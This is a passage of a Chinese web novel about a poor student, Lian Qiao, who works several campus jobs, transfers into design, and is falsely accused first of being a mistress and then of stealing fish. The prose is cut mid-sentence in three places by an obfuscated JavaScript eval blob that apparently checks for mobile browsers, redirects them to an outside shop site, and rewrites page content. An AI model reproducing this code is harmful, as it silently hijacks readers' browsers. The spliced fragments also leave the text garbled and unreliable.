孙阚平差点儿栽下去。 “但问题是,不是所有人都能达到这个高度啊,那可是凯瑞的首席设计师,不是普通设计师。” 连翘站到孙阚平前面,笃定信心,“那又如何,不管多难,我都要努力做到。我,一定可以!” 两个人坐在花坛边吹风,连翘目光落在广场上跳舞的阿姨身上,蓦然想起,以前清流镇的夏夜,也有好多人在超市外跳广场舞。 她的目光忽然黯下去。 清流镇的广场舞规模虽然没有这里热闹繁华,但也让她有些想念。 她偏头看孙阚平,“对了,你不是说陆警官派人去清流镇找存储卡的线索吗?我托你问的奶奶和小海他们怎么样有回话没?” 孙阚平眼神飘忽迷离,不知道告诉连翘真相好还是不好。 可是他想着,连翘好不容易摆脱那里,开始新的生活,得知奶奶和小孩的事,必然对她是个很大的打击。 最后,他没有选择这么快就告诉她。 孙阚平看着前方:“……挺好的。” 连翘低下头喝手中的果饮,终于松了一口气。 “那就好。” - 三个月的时间眨眼而过,连翘终于迎来了开学的日子。 大学校门就像神圣的殿堂,她满心期待着踏入,这一天终于在炽热烈阳的照耀下,拉开序幕。 62. 第 62 章 开学第一天,连翘穿得很简单,一件干净的浅青色T恤配上及膝牛仔五分裤,小白鞋踩在脚下,没有一点污垢。 身后背着浅蓝色书包,手里推着行李箱。 她扎着鱼骨辫,垂在两肩之后,开学前她把头发剪短了一点,不长,刚好到肩胛骨中间。 领到钥匙上楼,推开宿舍门的那一瞬间,连翘惊惊呆了,愣愣地立在门口。 其余的三个室友已提前到达,她们要么在自己的床位上铺被子,要么已经躺在差床上做自己的事情。 连翘往左一看,靠阳台那张床挂着粉红色窗帘,装饰得像个公主床,里面的人正躺在床上刷视频。 往右一看,靠近阳台的那张床是黑暗风的,装扮得像毒王后的帐篷。 人不知道去了哪儿。 靠近门的这张床风格还算正常,网上买的普通的卡通帘子,购物软件拍照识图一大堆。 在里面铺床的人探出脑袋看她,又像看见空气似儿的,收回脑袋,继续忙自己的事情。 连翘还以为她要给自己打招呼,都张口了,结果对方根本没打算理她。 没办法,她只好尴尬地收回目光,若无其事地推着箱子走进去。 她找到抹布擦桌子,打开行李箱,从里面拿出几套衣服,放进柜子里。 打扮得很朴素的连翘发现自己与其余三位室友格格不入。 收拾东西的间隙里,她听见她们谈论着最近很火的idol唱跳偶像,争论着在广场注册报道时谁穿了一双几万块钱的鞋,谁是真的有钱,谁是在装。 激情讨论着谁最帅,谁配不上新生群里封的班花称号。 她们谈论得的确很热情,可是连翘对这些一点儿都不了解,更不敢兴趣,插不上话。 趁着几人热火朝天聊八卦,无人注意到自己,连翘轻轻关门走了出去。 开学这一天人很多,迎新的志愿者带着新生从校车上下来,帮他们提行李,找宿舍。 连翘心里记挂着一件事——她得去办一张电话卡。 听说进入大学可以办校园卡有优惠,她便一直等到今天。开学之前不办卡倒不会给她带来太大的麻烦,因为她没有要联系的人,也没有人要联系她。 宿舍外面的小路两侧摆满了社团推广点和卖盆、水桶、衣架、扫帚、洗衣液等日常生活用品的摊位。 连翘从簇拥的人群间隙里穿梭,寻觅着电话卡所在的点位。 还没走到,她就被一个热情的女生叫住。 “同学,你是来办校园卡的吧?来找我给你办!我有优惠!” 出门在外,连翘始终保持着警惕,毕竟骗子处处有,从不分场合。 她往后退了步,与眼前的人保持距离,目光中带着打量,“你这不正规吧。” “正规!怎么不正规?” 同连翘说话的女孩子是个东北人,一口东北口音,为人也格外热情洋溢,好像满大街的人都是她老朋友一样。 “妹妹,我跟你说,咱们这个运营商呢,网络在咱学校可是全覆盖的!信号一直很好,你上个网,绝对不卡顿!” 她指着前面不远处的一个摊位,“呐,你看,就在那儿,你要是觉得可以的话,扫个我的邀请码,就去那儿办理。” 连翘顺着她手指的方向看过去,白底红字,显眼logo,的确是正规的。 看到这儿,她明白了,好奇地看着东北女孩迫不及待点开的邀请码,“我懂了,你是帮这些电话卡运营商出来拉人的吧?你做这个有报酬吗?多少钱?” 虽然在餐饮店打工的三个月已结束,但连翘还在继续想着努力挣钱,她欠了别人钱的,所以除了学业外,她满脑子都是找方法找途径挣钱。 她要言而有信,把欠别人的都还上。 东北女孩热情介绍,“我这个按次数来算,拉到一个人,就有五十块钱的提成,所以挣多挣少,就全看个人咯。” 五十块钱?! 连翘两眼放光,钱多钱少都不是问题,只要是钱,在她眼里就是稀罕物。 她拉住东北女孩的手臂,微仰着头,满眼冒星星,“姐姐!我帮你完成我这一单,你给我介绍个路子,带我一起去拉人办卡成不?” 女孩热情大方,见连翘愿意,倒也同样开心,“妥!” 就这样,开学第一天,连翘没有像其他人一样,拉着新认识的室友到处逛,熟悉校园,反倒是跟随着比自己大两届的学姐跑出去卖卡。 到宿舍挨个敲门推销,跑到新生报到点宣传介绍,蹲在食堂门口死缠烂打疯狂安利……一天下来,连翘拉了三十个人,挣到了足足一千五百元。 这笔钱,她一分都没有用,而是用心地珍藏好,连带着餐饮店打工挣的钱一起,放进上锁的小木盒里。 这些钱她全都攒起来,以后要还人的。 她现在的梦想就一个:攒钱。 攒很多很多钱。 - 除卖电话卡这一项小业务外,连翘今天还发现了另一项可以长期做的兼职。 中午在找食堂的路上,她看见校园道路里隔三差五就有学生送外卖的身影。 吃饭的事暂且被她搁置脑后,她屁颠屁颠地跑到停车在校园侧门栏杆取货的人旁边,礼貌又好奇地询问,“……同学,你做这个是不是兼职?这什么兼职,我可以做吗?” 染着一头黄毛的黑皮男生提着□□份外卖,走向座椅上放着蓝色储物箱的摩托车,若有所思地上下打量她:“你想送外卖?大几的?” 连翘想也不想就回答:“大一。” 男生顿时无语,不可思议盯着她。 “搞什么哦,大一的就跑来送外卖,”他往后退一步,眯着眼睛重新打量她,一脸不相信,“你一个小妹儿,细胳膊细腿的,想做我们这个,怕是不得行哦。” 他绕开连翘,往摩托车另一边走去。 连翘反应过来,立即上前挡住他的去路。 “细胳膊细腿的怎么了,也没人规定做这个必须得长得五大三粗,强壮彪悍才行啊,”她放下手,继续补充,“再说了,你照照镜子看看你自己,你还不是细胳膊细腿的,怎么没说你自己不适合干这个。” 男生放大瞳孔,惊诧地盯着她:“你还有理了是吧??!!” 路过的同行打趣男生,“得了吧,你在这儿欺负小学妹可就没意思了啊。小学妹有事,你就帮帮她呗。” 连翘坚持不懈,一路跟着他,黄头发皮肤有点儿黑的男生没办法,最后只好妥协。“得得得,怕了你还不行吗。” 于是,男生加了连翘的微信,把她介绍给校园送的负责人,又把她拉进送外卖的群。 第一天,空余时间里,她不是跑着送外卖上楼,就是在林荫小路学骑小电瓶车。 第二天,她对业务慢慢熟悉起来,骑小电瓶车也逐渐得心应手。 第三天,她几乎快跑遍整个校园,对每条路、每条小道都了然于心,脑子里有一张地图。 第四天,校园送的骑手群里讨论得热火朝天,说最近来了个女骑手,人看着呆呆的,纯良无害,结果送外卖比谁都积极努力,开起小电瓶车又飒又威风。 看热闹的群成员疯狂在群里艾特创办校园送的负责人群主来瞧瞧。 - 晚饭过后,连翘在上铺室友的央求下,陪她一起到食堂所在的那条小街外面买布丁奶茶喝。 晚上七点还有课,所以连翘没有去跑校园外卖。 奶茶店名叫“五颗柠”,由私人投资开设,建在学校里,不是什么大品牌。要是搬到外面去,没人认识。 晚霞铺在西侧天边一角,准备上演一场美轮美奂的好景色,可惜生来有些害羞,喜欢躲在高高的大楼身后,只给人露出一点儿侧影。 湖边的塔楼秒针转动,庄严又肃穆,将校园各个角落里骑自行车的人儿、抱着书下课的学生尽收眼底。 听说连翘除了上课,其余时间都在兼职跑送货到寝的外卖,室友忍不住感叹,“你可真是个时间管理大师,学习好,日子也过得这么拼,昨天她们几个还在寝室里议论你来着。” 连翘心里盘算着明天可以抽出哪些时间去找教务处负责转专业的老师咨询事情,目光漫无目的飘在眼前道路上。 因室友的这一句话,她才慢慢收回思绪,偏头看她,好奇,懵懂。 “议论?为什么要议论?我有什么好议论的吗?” “当然有,”室友接着往下说,“她们都一致认为,你这么拼,去打工,多半是家里很穷。” 室友心直口快说了这句话,看连翘表情愣愣的,一言不发,有些后悔,是不是太伤人了? 她本想开口再圆圆场,解释解释。 没想到身旁的女孩反倒褪去一脸懵懂,惊喜感叹:“她们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341254|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说错,好棒!猜得好准!” 室友愣住:“……这是仔细不仔细的问题吗。” 她把这个问题抛到脑后,接着问连翘,“你家里真的很穷啊?听说你是从小县城考上来的,那里是不是不通车也不通路,没有商场写字楼,没有星巴克路易威登爱马仕,每天都得上山割草喂猪喂鸡喂牛羊?活下去都是个问题?” “嗯……?” 连翘眨了眨眼,“你说的这些确实没有,但是人没有这些一样能活下去,不是吗。” 连翘上铺的这个室友从小在城里长大,生活无忧无虑,爸爸是上市公司老板,妈妈是培训机构创始人,从没有有吃过半点儿生活的苦。 要是没钱了,随时说一声,爸妈立刻微信转账几万。 她不理解连翘如何能在那种无聊的日子里活下去,满脸疑惑,“那这日子得多枯燥啊,什么都没有,看天是天,看地是地,生活还有什么意思盼头?” “太复杂了,也不见得好。” 连翘微仰头,盯着天上那轮呼之欲出的明月。 同样是土地,有的地方崎岖不平,沟壑纵横,山林深处无人问津,有的地方高楼林立,霓虹灯闪烁整夜,光鲜亮丽,可明月从没吝啬过,平等地将月光洒向所有需要它的人和地。 只有脚下漆黑的人,才知月光的宝贵。 - 来到五颗柠奶茶店以后,室友点了一杯18元的三拼布丁奶皮红茶,问连翘要什么,她摇头,说自己不买。 这家校园奶茶店很平价,贵的饮品不多,就三种,其余的饮品价位大多在5~10元。 偏偏连翘的室友就是喜欢花钱大手大脚。 非要点最贵的,彰显她的地位和价值。 等待红茶制作的间隙里,室友找个椅子坐下,无聊地玩起手机。 连翘在柜台边站着,目光扫过在店里工作的三两人。 最后,她把目光锁定在背对着柜台铲冰沙的年轻男生身上。 是的,找兼职挣钱的想法每天都盘旋在连翘的脑海里。 她两眼放光,像是被够了魂儿似儿的走到男生身后去,满怀期待:“同学同学!你是学校里在读书的人吧?你来这里打工能挣多少?还缺人不,能加我一个吗?” 铲冰沙的男生听闻声音,疑惑回头。 他个子高高的,穿着黑色T恤,身上系着工作时的咖色围裙,头发有点儿自然卷,皮肤白,双眼皮。 目光里,脑袋两侧扎着鱼骨辫的女孩满眼期待盯着自己。 她穿着一件干净简单的蓝白色衬衫以及白色的牛仔短裤,两腿笔直匀称,身后背着淡黄色书包。 男生看着连翘两眼放光且满脸期待,偏了下头,问:“……你……有事?” “是啊是啊,我想找兼职,问问你们这儿缺人不。” ?!! 一旁玩手机的室友不敢相信自己听到了什么,震撼地抬起头盯着连翘。 有没有搞错,她每天跑校园外卖还不嫌累,还要去找活干? 男生思考了下,手里拿着铲子,若无其事开口,“这个我不知道,我得问下彭姐才行。” “那她在哪儿?我去问问。” 男生回答她:“彭姐今天不在店里。” “好。”连翘没有泄气,虽知道这句话等于半个拒绝,但她还是得牢牢抓住机会。 她深知,机会都是自己争取的。 多少人等到错过了才后悔,可那时已经晚了。 她从书包里掏出纸和笔,撕下一页,写上自己的名字和联系方式,递给男生,“那等你问好了,可以的话就麻烦告诉我。我时间很多,除了上课时间和饭点,可以随时到岗!” 男生从她手里接过纸张,看到上面的名字时,他愣了下。 ……连翘? 名字有点儿熟悉。 好像在哪里听过。 又想不起来。 大概是个微信群。 “行,到时候有消息我通知你。” 连翘点头表示感谢,“好!谢谢你!” 室友取好自己的奶茶朝连翘走来,在她耳边小声嘀咕,“真的假的,你要不要这么疯狂,干着跑外卖的兼职还去打工,你家真穷得响叮当啦?” “嘘,我们小点儿声,”连翘拉着她往外走,“别让人听见我还有别的兼职,到时候不招我了可怎么办。” 63. 第 63 章 过了几天,奶茶店来消息了。 男生打电话说:“彭姐说可以,你什么时候有时间?我给你拿工作服,明天就可以上岗。” “你到时候发张你的课表来,工作要求很简单,除了上课时间和饭点,就来店里帮忙,你看你能不能接受?” 连翘毫不犹豫:“能!” 于是,她就这样进了奶茶店,由于不是全天在岗,薪资不多,但连翘也很满意。 有总比没有强。 临近十一月,学校里针对大一新生转专业的工作开始了。 在连翘的一番死缠烂打和恳求下,艺术设计学院的老师终于愿意破格考虑她这样一个非艺考生参加转专业考试。 不过令该老师很惊讶的是,连翘虽然高考时未参加艺考,但她的美术底子却很扎实,除了她小的时候曾专门学过外,离不开她暑假到现在每一个深夜的学习训练。 笔试通过后,进入了最后的面试环节。 在面试场上,学院的专业课老师问连翘问题:“为什么执着于转到艺术设计学院?” 连翘没有用夸张的辞藻修饰,没有用虚无的语言吹嘘,只是诚恳地说出自己最真实的想法。 “第一,我肯吃苦,这个专业虽然需要丰富的想象力以及创造力,但还需要依托于另一样能力才实现——那就是日以继夜的勤奋和坚持,我可以负责任地说,我一定会做到;第二,这个专业学得好的话,以后可以挣钱,我需要挣钱;第三,我的成品稿你们也看过,实习就摆在那儿,行不行,我们都心知肚明。” 她扬起笑容,“对吧?老师。” 提问的老师没有再说什么,面试结束。 几天后,连翘查看转专业成功名单,如愿以偿在里面找到了自己的名字。 这一天,她很兴奋。 饭点过后,点外卖的人没那么多,连翘送完最后一单,就跑到奶茶店里去干活。 擦柜台的间隙里,她只要一想起转专业成功这件事,就忍不住开心地扬起嘴角。 从外面打完电话以后变得不耐烦,谢佟俞走进来,疑惑看她:“你一个人搁那儿瞎乐呵什么呢。” 连翘悠然自得:“那当然是好事。” 现在店里难得清闲,没什么人。 谢佟俞忽然间有了主意,拿着擦桌布走到她边上,左手撑在柜台,“诶,当初你进来是我帮你介绍的没错吧,那现在你是不是应该做点儿什么感谢我?” 连翘停下手中动作,把一次性纸盒放到一边,偏头看他:“你想干什么?” 出于只觉,她断定谢佟俞找她没什么好事,眼底铺着警惕。 想到他毕竟是介绍人,还是得对他客气点。 连翘立刻变了脸,表情缓和些,浅笑着说:“哦,我的意思是,那当然了。你有什么吩咐,尽管说。” 谢佟俞肯定地点点手,目光中带着欣赏,“不错!还是你够义气。” 谢佟俞这人向来自来熟,想要和连翘称兄道弟,欲左手撑着她肩膀,细细道来。 却没想到连翘格外有距离感。 他一走进,她就往旁边退,保持距离。 谢佟俞:“……” 无奈看她。 “妹儿,我就那么吓人吗?” 连翘置若罔闻,蹲下身整理柜子里的物品,“还好,就是我觉得吧,我和你还没那么熟。” “行。”谢佟俞略有受伤,随意摆摆手,继续殷勤蹲下来在她旁边说:“其实吧,我就是想让你帮我个忙。” “什么忙?” “就是你知道的,我性格很孤僻,我爸一直担心我在外和人处不好关系,这不,今天又打电话来问我,和同事同学相处得怎么样。” “作为儿子,我也想让他老人家放心,所以能不能劳烦你保持微笑和我拍张合照,这样,我就能给他老人家交个差。” 连翘整理物品的动作放缓,将信将疑,“你?性格孤僻?” 谢佟俞笑起来,左侧酒窝若隐若现,头发有点儿自然卷的他看起来就像只懒洋洋的“小狗”。 “对啊?难道不是吗?” 连翘无言反驳。 毕竟睁眼说瞎话的人自然不愿承认是谁每天在店里面唧唧哇哇说个不停,东扯西扯。 好看的女孩来了,不是在那儿打招呼搭讪,就是在那儿装高冷装帅。 他一定另有目的,但连翘也不打算去计较。反正她终究得感谢他把她介绍进来打工。 大不了,她就看看谢佟俞到底要拿这张照片耍什么花招。 于是,在一番虚假笑容下,她配合着谢佟俞拍下了照片。 - 日子就这样平平淡淡的过去,一天又一天。 除了跑校园外卖和奶茶店打工之外,连翘还有另外三份收入来源。 分别是——在网上接稿根据真人照片画头像、周五周六周日的晚上烤肉店打工、每次举行夜游活动就到跑操场摆摊卖自己diy的手链珠子。 接稿的收入不稳定,数据好的时候一个月能有两千,数据不好的时候一个月几百。 由于是周末夜里工作,去的次数不多,烤肉店的工作一个月能拿到九百,通过摆摊买手链珠子饰品,一个月能挣五百左右。 一来二去,靠着这五份工的收入,她慢慢攒钱,盒子里攒的钱的金额越来越多。 临近放寒假的一个周末,连翘从烤肉店忙完回来,锤着发酸的肩膀走进寝室。 刚一开门,寝室里的所有人都不可思议盯着她。 连翘放下手,茫然立在门口,“……你们都看着我干什么?” 她上铺的是有探出脑袋看她:“连翘!!你还不知道吗!你的照片被人在论坛上挂出来了!!有个女生在找你!说你是小三!!” 和连翘关系很普通的另外一人八卦追问:“这事是真的还是假的?连翘,你真的是这种人吗?听说那女生家里很有钱,男生家里的富有程度是他的十倍,你真的去傍大款啦?” 在阳台刷牙的室友慌慌张张加入这场揣测局,拿着牙刷走进来打趣,讪笑着说:“哎哟,其实我们都理解,毕竟每天干活打工很累,你总有想放弃那一天嘛。家里穷不是问题啊,找个有钱的大款,多简单的事儿,你们说是吧?” 女生看着其余人,目光相撞后,不约而同纷纷哈哈大笑。 连翘脑子忽然一片空白。 她想,她该有什么表现呢? 该生气呢? 还是该走上去让她们闭嘴,不准乱说? 可是这些情绪——她全都没有。 在她的概念里,她不知什么时候起,为自己反驳辩解的欲望早已被扑灭。 喜欢她的人就是喜欢,相信她的人就是相信。 她淡淡“哦”一声,若无其事回到自己的座位坐下,心平气和地翻出订书机装订明天要交的报告。 上铺的室友目光追随连翘,“你就不好奇那帖子说了什么吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363200|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连翘看她,语气没有波澜,也没有敌意,“我不用去在意这些。我有我的节奏,也有我要做的事情,关心这些或者不关心,对我的生活都没有影响。” 突然想到什么,她看向刚才笑话自己的女生,“对了,我都不认识你说的人,你反倒先知道我认识了,你这是什么本领呀?还挺厉害的。” 女生哑然,不悦地别开脸。 宿舍陷入一片寂静。 后来,连翘才搞明白,原来这场祸端皆因那天谢佟俞拍下的照片而起。 第二天,连翘照常去上课,谢佟俞一大早就在宿舍门口等人。 连翘不理睬他,当做没看见,拐弯就走,他连忙跟上去,一路死缠烂。 “对不起啊,我真没想到她会把你照片挂到学校论坛上去。我昨天还什么都不知道呢,我同学就跟我说出了这事。” “你现在是不是特别生我的气?” 连翘依旧不理人,继续快步往教学楼走去。 谢佟俞一顿哀求,跟在她旁边,“我错了,我真的错了!我拍那照片发朋友圈就是为了让某人别再来烦我,后面的事儿我真没想那么多……” 他紧追连翘不放,“对不起!这件事肯定对你名誉造成了很大的伤害,要不这样吧,我去声明一下,你是正主,不是什么小三,这样就没人骂你说你坏话了。” 连翘忽地顿住脚步,看他。 谢佟俞惊喜,“这么奏效?你愿意?” “愿意你个鬼。” “除非我脑子进水了!” 连翘甩开他,忿忿不平往前走。 谢佟俞又追上去,脚步匆匆,在她身后开口:“你要是想脑子进水,也不是不可以啊……” 心里原本并不怎么在意这事儿,但现在,因为谢佟俞这些欠揍的话,怒火啊,就在连翘的心里烧。 烧得越来越旺。 “我呢,倒是对于别人把我挂上去无所谓,毕竟我眼不见心不烦。但你当初拍那照片的真正目的明明可以直接说,非得编什么性格孤僻爸爸担心?” 谢佟俞有些心虚,见连翘没再继续甩他往前走,倒也松了一口气,“……那还不是当时害怕你不同意。” “算了,”连翘斩钉截铁,“当初你帮我拿到奶茶店的兼职,算我欠你一个人情,现在呢,人情我已经还了,以后咱俩两不相欠。” 连翘转身就走。 谢佟俞的表情从期待变为慌张,追上去挡在她前面,“真的假的?连翘,再怎么说这次更吃亏的也是你吧,我认为我们还没有两清。” 连翘看他,倒要看看他接下来还要说什么。 谢佟俞继续开口:“现在,是我欠你。” “知道那事以后,我就让人把那帖子删了,你放心,那些爱看八卦热闹的人再过几天就会忘记,你的名誉呢,我帮你担保。” “随你。”连翘漠不关心,距离上课还有三分钟,她走上楼梯,拐进教学楼。 谢佟俞站在后面看着她。 虽然已经认识了有一段时间,可他现在才慢慢发现,连翘的背影总给人一种坚韧感。 平日里的她看着不怎么笑,呆呆的,但又每时每刻都很忙,似乎每天都有做不完的事儿。 她的眼神似乎在透露着一种信息——她有很重要的事儿还没完成。 谢佟俞不禁揣摩连翘的过去。 他在想,到底是怎样的遭遇才能造就如今这样一个坚韧、不喊累也不服输的她? 64. 第 64 章 转专业成功以后,连翘开始花更多时间在专业课上。 每次一忙活手里的活儿,她就会掏出绘本,继续完善没完稿的设计。任何碎片时间都被她挤出来学习、临摹、构思、创作。 生活还是生活,无论是悲是喜,是忧是乐,它也就那样过去了。 从寒风刺骨的冬日到新绿萌芽的春天,从橘子味汽水和蝉鸣不停的夏天到秋风瑟瑟的秋日,一年的时间流逝,连翘现在已升入大二。 偶尔也有几个夜晚,她曾坐在树影斑驳灯光黯淡的路边花坛,抬头看天,问自己,她到底靠什么走到了今天,又问自己,她真的配拥有今天的一切吗。 她想不出答案。 她曾觉得现在所拥有的生活虚幻得像泡沫,一碰就破。 也曾看着钱攒得越来越多的盒子,坚定告诉自己——现在的这一切都是她靠自己的努力得来的,她的拥有理所应当。 可当她在午夜梦回时想起清流镇的点点滴滴,想起被她抛弃在那儿的一切,她却又觉得愧疚,就好像—— 她只是踩着在乎她的人的心……走上来的一样。 她有时辗转难眠,有时会累得倒头就睡下,有时也会设想李空山现在的生活会怎样。 等到天一亮的时候,她还是得立刻爬起来,投入自己一整天的工作里,从未懈怠。 当身边的人忙着享受大学的自由时光,连翘正马不停蹄地完成她的梦想——学习、挣钱。 学习是为了变成出色的大人。 挣钱是为了偿还自己欠下的债。 也为了偿还之后,彻彻底底为自己而活。 养活自己,变成独立的个体。 这一年来,谢佟俞和她的关系好像近了一些,又好像没有。 谢佟俞倒是想,但连翘始终保持着距离,最多也只能勉为其难把他当个普通同学。 谢佟俞找过很多机会约连翘出去吃饭、看电影、玩,但他一次也没成功过,就算是他以工作搭子的名义,也不行。 连翘还是不同意。 每次拒绝的理由都一样——她很忙,没时间。 的确,她白天夜里都在忙,上一件事做完了,还有下一件事等着她,她奔波、快走,像是一台机器,好像不知道停歇。 直到谢佟俞没办法,问她,“我亲自给你放一天假行不行,你这样下去身体吃得消吗?” 连翘随口说,“你又不是老板,你给我放什么假?” 也是那时,连翘才明白,原来这家五颗柠奶茶店就是谢佟俞他自己闲得无聊开的,甚至包括校园送兼职群里的群主负责人——也是他。 从那以后,连翘开始与谢佟俞保持更远的距离,但是谢佟俞还是像以前一样嘻嘻哈哈在她耳边说话,想要缓解缓解她的郁闷和无聊。 日子久了以后,连翘才慢慢开始对谢佟俞有所改观,好像他和以前遇到过的有钱人家的人不太一样。 他身上没有自持清高的孤傲,反倒是自来熟,和谁都能做朋友。 连翘倒也不再避着他了。 如果谢佟俞不能勉强算半个朋友的话,那连翘就没别的朋友。 她不喜欢结交,也不在意,对她而言,朋友并不能给她提供任何需要的东西,她只相信,只有自己脚踏实地拼搏,才能换来她想要的一切。 当室友还陷入在友谊的破裂及纠纷里,连翘已经马不停蹄换下工作服,跑到下一个地方去工作。 为了画稿子和设计,她有时夜里还会忙到很晚。 班里的同学会议论,说她这么努力这么拼,到底还是改不了从小镇出来的劣根性。 可当作业成品展示在全班人眼前的那一刻,所有人都惊呆,无言以对。 她的每一个夜晚,都没有浪费。 - 大二下学期的某天,正直三月桃花始开。 校园里的池塘边恰好有一处地栽着桃花。 连翘想去桃树下坐坐,观察观察初开的桃花,顺势将桃花特点融入设计作业里。 湖畔边,有一身着橙色工装马甲的中年大叔正拿着垃圾桶和扫帚,扫树叶。 他看连翘坐在那儿临摹眼前的桃花花瓣,注意力被吸引过去,晃啊晃,就晃到了她旁边。 “哟,还挺像的嘛,你这是干哈呢?学美术的?” 连翘顺着声音,偏头看去,好心回答他的话,“不是,我学设计的,在这儿找灵感。” “……哦。”大叔表情戏很多,一会儿眯眼睛仔细端量,一会儿皱眉翘嘴若有所思,一会儿又抿起嘴角肯定地点点头。 他看上去就不是敬业的员工,刚才扫了几片树叶,就有些累了。 开始在这儿和连翘唠嗑。 见连翘的画已差不多完工,只是还在修改细节,他长长地叹了一口气,“哎唷——小妹妹哦,叔叔我遇到了个麻烦嘞,不晓得你愿不愿意帮帮我的撒?” 连翘把笔放下,耐心问他:“你想让我帮什么忙?” 大叔看上去年纪不小了,大概四十多岁,穿着环卫的橘色马甲,还在大学校园里干活,穿着朴素,衣服皱巴巴的,一看就是便宜地摊货。 连翘想,这样的人大抵是个老实的普通人,不会有坏心思,于是便好心,接着问下去。 大叔把垃圾桶放下,抱着扫帚棍子,立刻表现得可怜兮兮。 “你不知道哦,叔叔的侄儿过几天要来城里看叔叔,还要请叔叔吃饭嘞,但是叔叔之前省吃俭用攒钱给他买的玉佩找不到了——” 说到最后几个字的时候,大叔眯着眼睛,张着嘴,声音放大,有些颤抖,仿佛下一秒就能哭给连翘看。 连翘着急站起,“你别慌别慌啊,你还记得玉佩可能在哪儿掉的吗?肯定还可以再找回来!” 想来,一个扫地的环卫工要想攒钱买玉佩定是很不容易,得省吃俭用好长一段时间。 连翘干过很多工,自然知道其中的艰辛和不易。 只见抱着扫帚的环卫工大叔立马收住欲哭的表情,立刻若无其事转身,指着眼前这片不大的小池。 池岸对面还有几只鸭子在浅水草堆里觅食。 “诺——你看,就是掉里面了,上次我在木栏边自拍来着,结果一不留神手里的玉佩就滑了下去。” 大叔变得正经,颇有考量,走到木栏边,“应该就在边上,不远的,也许捞一捞还能捞到……” 连翘无措地走过去,“……所以……你想让我帮你捞玉佩?” 大叔立刻欣喜回头,点点头,满眼期待:“是啊是啊!你这孩子,真聪明!” “倒也没问题,”但连翘还有疑惑,“两个人捞效率还是有点低,要不我再去帮你喊些人一起,人多力量大嘛。” “哎——可别,”大叔拉住连翘,犹豫了下,解释:“我的意思是……这事不宜声张,我怕别人笑话我这么大年纪了,连个玉佩都拿不好。” ??? 连翘差点怀疑自己的耳朵出了问题,眼中有些许震撼,“……你好面子已经好到这种程度了?” 大叔故意羞涩地连连点头。 暮色将近,他找来两个捞鱼的网,和连翘一起捞。 但还没过去几分钟,他突然捂着肚子说:“哎哟不行不行,我闹肚子了,你先找找,我去趟厕所。” 他把捞鱼工具强行塞到连翘手里,眨眼的功夫,就不见了人影。 连翘一愣一愣的。 开始后知后觉,这个大叔到底在搞什么名堂? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377102|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是她想起大叔穿得破破烂烂的衣裳,生活肯定不容易,打消了心里的顾虑,二话不说,又继续找玉佩。 夜色变暗,连翘打着手机的电筒在池边寻觅。 一个多小时过去了,还是无果。 眼见提交设计作业的时间即将截止,连翘必须得停下手里的事儿赶回去。 第二天,连翘再次登上了学校的“热搜”。 但这次不是论坛,而是来自教务处的曝光。 池塘里的几条鱼没了。 监控拍下了连翘在池边鬼鬼祟祟捞东西。 连翘:“……” 当她无语又纳闷地回到寝室时,脚底的鞋还沾着池边泥土和竹叶。 室友把目光从班群消息挪开,提起监控曝光这件事,又看看她,差点笑喷。 这一刻的连翘什么都不想说,生无可恋,想在心里咬牙切齿一万次。 - 辅导员找了连翘训话,她发誓自己真没偷鱼。 于是,辅导员把上级领导发来的——池边竹林里拍到用以烤鱼的薪火木渣和鱼刺照片给她看,“刺都吐这儿了,监控就拍到你一个人去了池塘边。” ??!! 连翘瞪大眼睛,难以置信。 她把目光收回,看向辅导员,“老师,你听我解释,我真没吃鱼。” “好,刚才还是没有鱼,现在松口,变成没吃鱼了是吧?” “……”连翘哑然,她懂了,自己说什么都不会有人信的。 所幸辅导员没有找她麻烦,只是教育她,以后不能做了坏事不承认。 连翘不在意。 她没有做就是没有做,反正事情已经过去,想太多只会劳神伤心。 于是这些烦心事通通被她甩到脑后。 当夜,她趁操场组织随机舞活动,顺势带上自己的家当,到操场摆摊卖手链珠子。 不曾想,这趟买卖并不容易。 刚摆好摊位,就有路过的人兴奋和同伴议论:“你看她,她不就是上次学校在全年级曝光的偷鱼吃那女生吗?” 一眨眼的功夫,一群人认出她的人簇拥上来,兴致勃勃向她讨教,这么大的胆是跟谁学的。 顾客没一个,八卦凑热闹的人倒是一大堆。 连翘被围起来,水泄不通,好不容易拖着家当从簇拥的人群里钻出来,刚鬼鬼祟祟跑出一段路,背后就有人喊。 “——快看!她跑了!在那儿!” 连翘一回头,一群人正一窝蜂重新朝她涌来。 她这辈子就没被这么多人追过。 脸上一阵惊骇。 她赶紧拔腿就跑,生怕被后面的人追上。 操场外的马路边,骑着摩托路过的谢佟俞见到她慌不择路逃跑,放慢速速和她并肩,问她怎么回事。 “来不及解释,逃命要紧!” 连翘加快速度,把谢佟俞连带着那些凑热闹追赶自己的人甩在身后。 风一样的女子。 